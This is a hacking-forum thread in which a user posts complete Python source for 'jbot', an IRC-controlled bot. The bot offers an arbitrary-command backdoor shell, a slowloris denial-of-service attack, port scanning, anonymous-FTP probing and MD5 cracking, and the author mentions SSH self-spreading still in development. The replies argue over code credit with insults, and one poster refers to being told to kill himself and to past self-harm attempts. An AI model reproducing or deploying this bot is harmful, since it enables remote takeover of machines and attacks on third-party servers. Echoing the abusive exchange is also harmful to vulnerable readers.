chevron_left chevron_right
Login Register invert_colors photo_library


Stay updated and chat with others! - Join the Discord!
Thread Rating:
  • 0 Vote(s) - 0 Average


jbot v1.1 - IRC Bot filter_list
Author
Message
jbot v1.1 - IRC Bot #1
Not the most updated version, but I'm still working on the ssh spreading functionality. It'll be epic once that part is completed. The backdoor functionality is for windows only in this version. This version will kinda work on linux, but the input parser isn't as good as the updated one (which works on both windows & linux), so just hold tight and the updated version will be released.

Also, as a fuck you to noobs, find the libs yourselves.

What's in it?
-Slowloris plugin for layer 7 denial of service (you can get libloris.py from http://sourceforge.net/projects/pyloris/)
-md5 hash cracker (creds to lnxg33k | ahmed@isecur1ty.org)
-Port scanner
-Anonymous ftp check

The usage for all commands requiring a host and port are as follows:
Code:
.option localhost:80        #any domain name/any port
.option 127.0.0.1:80       #any IP address/any port

Screenshot (typo on the .md5 command, it should read md5 decrypt):
[Image: zNCHvY2.jpg]

Pastebin Link for Code:
Code:
http://pastebin.com/rKhMnX08

Code:
    

    #jbot v1
    #Author m0rph
    #Join the fun! irc.evilzone.org:6667/9999(ssl)
    
    import socket
    import argparse
    import urllib
    import urllib2
    import subprocess
    import re
    from time import *
    from libloris import *
    
    
    bmaster = 'YourNick'            #enter your username here
    
    def parse_options():
            global srv, port, chan, nick
            parser = argparse.ArgumentParser(usage='python jbot.py -i <server> -p <port> -c <channel> -n <nick>')
            parser.add_argument("-i", "--srv", type=str, help="IRC Server to connect to")
            parser.add_argument("-p", "--port", type=str, help="Server port to build socket")
            parser.add_argument("-c", "--chan", type=str, help="Channel to join")
            parser.add_argument("-n", "--nick", type=str, help="Username")
            args = parser.parse_args()
            srv = args.srv
            port = args.port
            chan = args.chan
            nick = args.nick
          
    
    def initiate(parse_options):
            global irc
            irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
            irc.connect((srv, int(port)))
            print "[+] Connected! :D"
            irc.send('PING\r\n')
            irc.send('PONG ' + irc.recv(1024).split()[1] + '\r\n')
            irc.send('NICK ' + nick + '\r\n' +                            
                    'USER 134asfas1 134asfas1 134asfas1 :134asfas1 IRC\r\n')                #Change as necessary
            #Debugging Feedback
            data = irc.recv(4096)
            print data
            #Pre-join PING/PONG
            if data.find('PING') != -1:
                    irc.send('PONG ' + data.split()[1] + '\r\n')
                    irc.send('JOIN ' + chan + '\r\n' +                                            
                            'PRIVMSG ' + chan + ' :All will fear the dark side...\r\n' +
                            'PRIVMSG ' + chan + ' :' + str(bmaster) + ' join me, and together we can rule the interwebs!\r\n')                    
    
                          
    def anonftp(sTarget, sPort):
            #irc.send('PRIVMSG ' + chan + ' :' + '[+] Debugging input of ' + sTarget + '%d' % sPort + '\r\n')
            try:
                  
                    ftpSkt = socket.socket()
                    ftpSkt.connect((sTarget, sPort))
                    ftpSkt.send('USER anonymous\r\n')
                    ftpSkt.send('PASS bullshit\r\n')
                    results = ftpSkt.recv(512)
                    irc.send('PRIVMSG ' + chan + ' :' + '[+] ' + str(results) + '\r\n')
                    irc.send('PRIVMSG ' + chan + ' :' + '[+] Anonymous login allowed!\r\n')
                    ftpSkt.close()
            except:
                    irc.send('PRIVMSG ' + chan + ' :' + '[-] Failed. Try again.\r\n')
                          
    def slowloris(sTarget, sPort):          #Author: Motoma --- sourceforge.net/p/pyloris
    
            loris = ScriptLoris()
    
            # Set the connection  options
            loris.options['host'] = sTarget
            loris.options['port'] = sPort
            loris.options['threadlimit'] = 25
            loris.options['connectionlimit'] = 256
            loris.options['connectionspeed'] = 1000
    
            # Build the HTTP request body
            loris.options['request'] = 'GET / HTTP/1.1\r\n'
            loris.options['request'] += 'Host: %s\r\n' % (sTarget)
            loris.options['request'] += 'User-Agent: PyLoris (scriptloris_http.py (http://pyloris.sf.net)\r\n'
            loris.options['request'] += 'A' * 1024 * 1024
    
            # Launch the attack
            loris.mainloop()
          
    
    def scan(sTarget, sPort):
            #irc.send('PRIVMSG ' + chan + ' :Debugging parse of input ' + sTarget + ' on port %s' % int(sPort) + '\r\n')
            try:
                    scnSkt = socket.socket()
                    scnSkt.connect((sTarget, sPort))
                    scnSkt.send('41414141\r\n')
                    results = scnSkt.recv(256)
                    irc.send('PRIVMSG ' + chan + ' :' + '[+] %d/tcp open' % sPort + '\r\n')
                    irc.send('PRIVMSG ' + chan + ' :' + '[+] ' + str(results) + '\r\n')
                    scnSkt.close()
            except:
                    irc.send('PRIVMSG ' + chan + ' :' + '[-] %d/tcp closed' % sPort + '\r\n')
    
          
    def md5crack(md5Input): # Written by: lnxg33k <ahmed[at]isecur1ty.org>, adapted for jbot by m0rph
            site = 'http://md5decryption.com/'
            para = urllib.urlencode({'hash':md5Input,'submit':'Decrypt+It!'})
            req = urllib2.Request(site)
            try:
                    fd = urllib2.urlopen(req, para)
                    data2 = fd.read()
                    match = re.search(r'(Decrypted Text: </b>)(.+[^>])(</font><br/><center>)', data2.strip())
                    if match:
                            irc.send('PRIVMSG ' + chan + ' :' + '[+] site: %s\t\t\tPassword: %s\r\n' % (site,match.group(2)))
                    else:
                            irc.send('PRIVMSG ' + chan + ' :' + '[-] site: %s\t\t\tPassword: Not found' % str(site) + '\r\n')
            except urllib2.URLError: irc.send('PRIVMSG ' + chan + ' :' + '[+] site: %s \t\t\t[+] Error: seems to be down' % site)
          
    
    def main(initiate):
            global md5Input, sTarget, sPort
            while True:
                    data = irc.recv(4096)
                    print data
                  
                    if data.find('PING') != -1:
                            irc.send('PONG ' + data.split()[1] + '\r\n') #IRC PONG keep-alive
                  
                    elif data.find('PRIVMSG ' + chan + ' :.menu\r\n') != -1:
                            irc.send('PRIVMSG ' + chan + ' :===Available Commands===\r\n' +         #Help menu
                                    'PRIVMSG ' + chan + ' :.echo         Echo and reply. (for channel debugging)\r\n' +
                                    'PRIVMSG ' + chan + ' :.cmd                     Non-interactive shell.\r\n' +
                                    'PRIVMSG ' + chan + ' :.scan         Simple port scanner. <host:port>\r\n' +
                                    'PRIVMSG ' + chan + ' :.dos          Denial of Service. <host:port>\r\n' +
                                    'PRIVMSG ' + chan + ' :.md5          md5 decrypt. <hash>\r\n' +
                                    'PRIVMSG ' + chan + ' :.ftp          FTP Anonymous login check. <host:port>\r\n' +
                                    'PRIVMSG ' + chan + ' :.j            Get jbots attention.\r\n' +
                                    'PRIVMSG ' + chan + ' :.kill         Kills jbot.\r\n')
                  
                    elif data.find('PRIVMSG ' + chan + ' :.echo') != -1:            #Echo for debugging
                            msg = data[data.find(':',1,len(data))+1:len(data)]
                            irc.send('PRIVMSG ' + chan + ' :' + str(msg[6:]))
                  
                    elif data.find('PRIVMSG ' + chan + ' :.cmd') !=-1:        #Non-interactive Shell
                            cmdout = data[data.find(':',1,len(data))+1:len(data)]
                            proc = subprocess.Popen(cmdout[5:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                            stdout_value = proc.stdout.read() + proc.stderr.read()
                            for line in stdout_value.split("\n"):
                                    irc.send('PRIVMSG ' + chan + ' :' + line.strip() + '\r\n')
                  
                    elif data.find('PRIVMSG ' + chan + ' :.md5') != -1:        #MD5 Hash reverse lookup
                            ptInput = data[data.find(':',1,len(data))+1:len(data)]
                            md5Input = ptInput[5:]
                            irc.send('PRIVMSG ' + chan + ' :' + '[+] Looking up plaintext for ' + md5Input + '\r\n')
                            md5crack(md5Input.strip())
                          
                    elif data.find('PRIVMSG ' + chan + ' :.ftp') != -1:
                            scInput = data[data.find(':',1,len(data))+1:len(data)]
                            scHost, scPort = scInput[5:].split(":")
                            irc.send('PRIVMSG ' + chan + ' :' + '[+] Checking for anonymous ftp against ' + scHost + ' on port ' + scPort + '\r\n')
                            sTarget = scHost.strip()
                            sPort = scPort.strip()
                            anonftp(sTarget, int(sPort))
                  
                    elif data.find('PRIVMSG ' + chan + ' :.scan') != -1:        #Port scanner
                            scInput = data[data.find(':',1,len(data))+1:len(data)]
                            scHost, scPort = scInput[6:].split(":")
                            irc.send('PRIVMSG ' + chan + ' :' + '[+] Scanning ' + scHost + ' on port ' + scPort + '\r\n')
                            sTarget = scHost.strip()
                            sPort = scPort.strip()
                            scan(sTarget, int(sPort))
                  
                    elif data.find('PRIVMSG ' + chan + ' :.dos') !=-1:        #Slowloris Plugin
                            scInput = data[data.find(':',1,len(data))+1:len(data)]
                            scHost, scPort = scInput[5:].split(":")
                            irc.send('PRIVMSG ' + chan + ' :' + '[+] Running Layer 7 slowloris attack on ' + scHost + ' on port ' + scPort + '\r\n')
                            sTarget = scHost.strip()
                            sPort = scPort.strip()
                            slowloris(sTarget, int(sPort))
                  
                    elif data.find('PRIVMSG ' + chan + ' :.j\r\n') != -1:           #Purely for entertainment
                            irc.send('PRIVMSG ' + chan + ' :Yes my master...\r\n')
                  
                    elif data.find('PRIVMSG ' + chan + ' :.kill\r\n') != -1:        #Kill command
                            irc.send('QUIT\r\n')
                            exit()
    
                          
    if __name__ == "__main__":
        parse_options()
        initiate(parse_options)
        main(initiate)

Let me know if the pastebin link expires, and I will repost. There are a lot of potential bugs in this code, so if you experience an issue, let me know and I will do my best to fix it.

THE SLOWLORIS PLUGIN DOES NOT STOP ONCE YOU START IT AND THE BOT WILL TIMEOUT OF THE IRC SERVER. YOU WILL HAVE TO KILL THE PYTHON PROCESS RUNNING IT TO STOP THE ATTACK.

Reply

RE: jbot v1.1 - IRC Bot #2
As much as I love python, it's not a great language to write bots in. Good job on figuring out IRC networking though! Smile
[Image: jWSyE88.png]

Reply

RE: jbot v1.1 - IRC Bot #3
(05-29-2014, 12:02 AM)3SidedSquare Wrote: As much as I love python, it's not a great language to write bots in. Good job on figuring out IRC networking though! Smile

Well, IRC isn't very hard to work with, especially considering that some of his code is stolen.

Reply

RE: jbot v1.1 - IRC Bot #4
(05-29-2014, 12:15 AM)Duubz Wrote: Well, IRC isn't very hard to work with, especially considering that some of his code is stolen.
Correction*

Not stolen. Portions of two functions were modified, adapted, and credit was given where it was due. Check again. And I wrote the IRC aspect of it, as well as the overwhelming majority of the rest of the code.

Reply

RE: jbot v1.1 - IRC Bot #5
Don't worry about Duubz.
Even BreShiE says he's LQ.

(03-21-2014, 03:14 PM)BreShiE Wrote: @Duubz - Incredibly low quality around the forum and would not benefit this group.

I'm glad the good Doctor is in the house though.
We newbz together homie. +1
[Image: Ov15OiO.png]

Reply

RE: jbot v1.1 - IRC Bot #6
(05-30-2014, 04:28 PM)Christ Wrote: Don't worry about Duubz.
Even BreShiE says he's LQ.


I'm glad the good Doctor is in the house though.
We newbz together homie. +1

Have you personally worked with or posted on another forum with @Duubz? Or going off on what @BreShiE said?

Reply

RE: jbot v1.1 - IRC Bot #7
(05-30-2014, 06:56 PM)MiS Wrote: Have you personally worked with or posted on another forum with @Duubz? Or going off on what @BreShiE said?

He's going off of what Breshbresh said.

(05-30-2014, 04:28 PM)Christ Wrote: Don't worry about Duubz.
Even BreShiE says he's LQ.


I'm glad the good Doctor is in the house though.
We newbz together homie. +1

You have no place in this -- stand down. Especially since you had to dig in month old threads to find that message.



@m0rph, you've given most credit where due, but not for the actual connecting and IRC interactions. http://oreilly.com/pub/h/1968 It's fine I suppose.
(This post was last modified: 05-30-2014, 07:16 PM by Stocking.)

Reply

RE: jbot v1.1 - IRC Bot #8
Lol I didn't have to dig at all. I can already tell you're LQ I just wanted more proof than speculation.
[Image: Ov15OiO.png]

Reply

RE: jbot v1.1 - IRC Bot #9
(05-30-2014, 07:03 PM)Duubz Wrote: @m0rph, you've given most credit where due, but not for the actual connecting and IRC interactions. http://oreilly.com/pub/h/1968 It's fine I suppose.
Bro, do you even code? Did you even read my code? The IRC portion is original. My code is nothing like the shit in the link you gave.

-1 dude, you're a fuckin scrub, and you can't even read!

Reply

RE: jbot v1.1 - IRC Bot #10
(06-01-2014, 11:02 AM)m0rph Wrote: Bro, do you even code? Did you even read my code? The IRC portion is original. My code is nothing like the shit in the link you gave.

-1 dude, you're a fuckin scrub, and you can't even read!

Yes, actually, I do code. Everday. I also do read, and your code looks strikingly like the link I posted. You're the fucking scrub here. Even if I am in the wrong, and illiterate, you would be the immature one here. Really? You tell someone to kill themselves? I just might do that, as if it wasn't the first time I've tried.

Reply






Users browsing this thread: 1 Guest(s)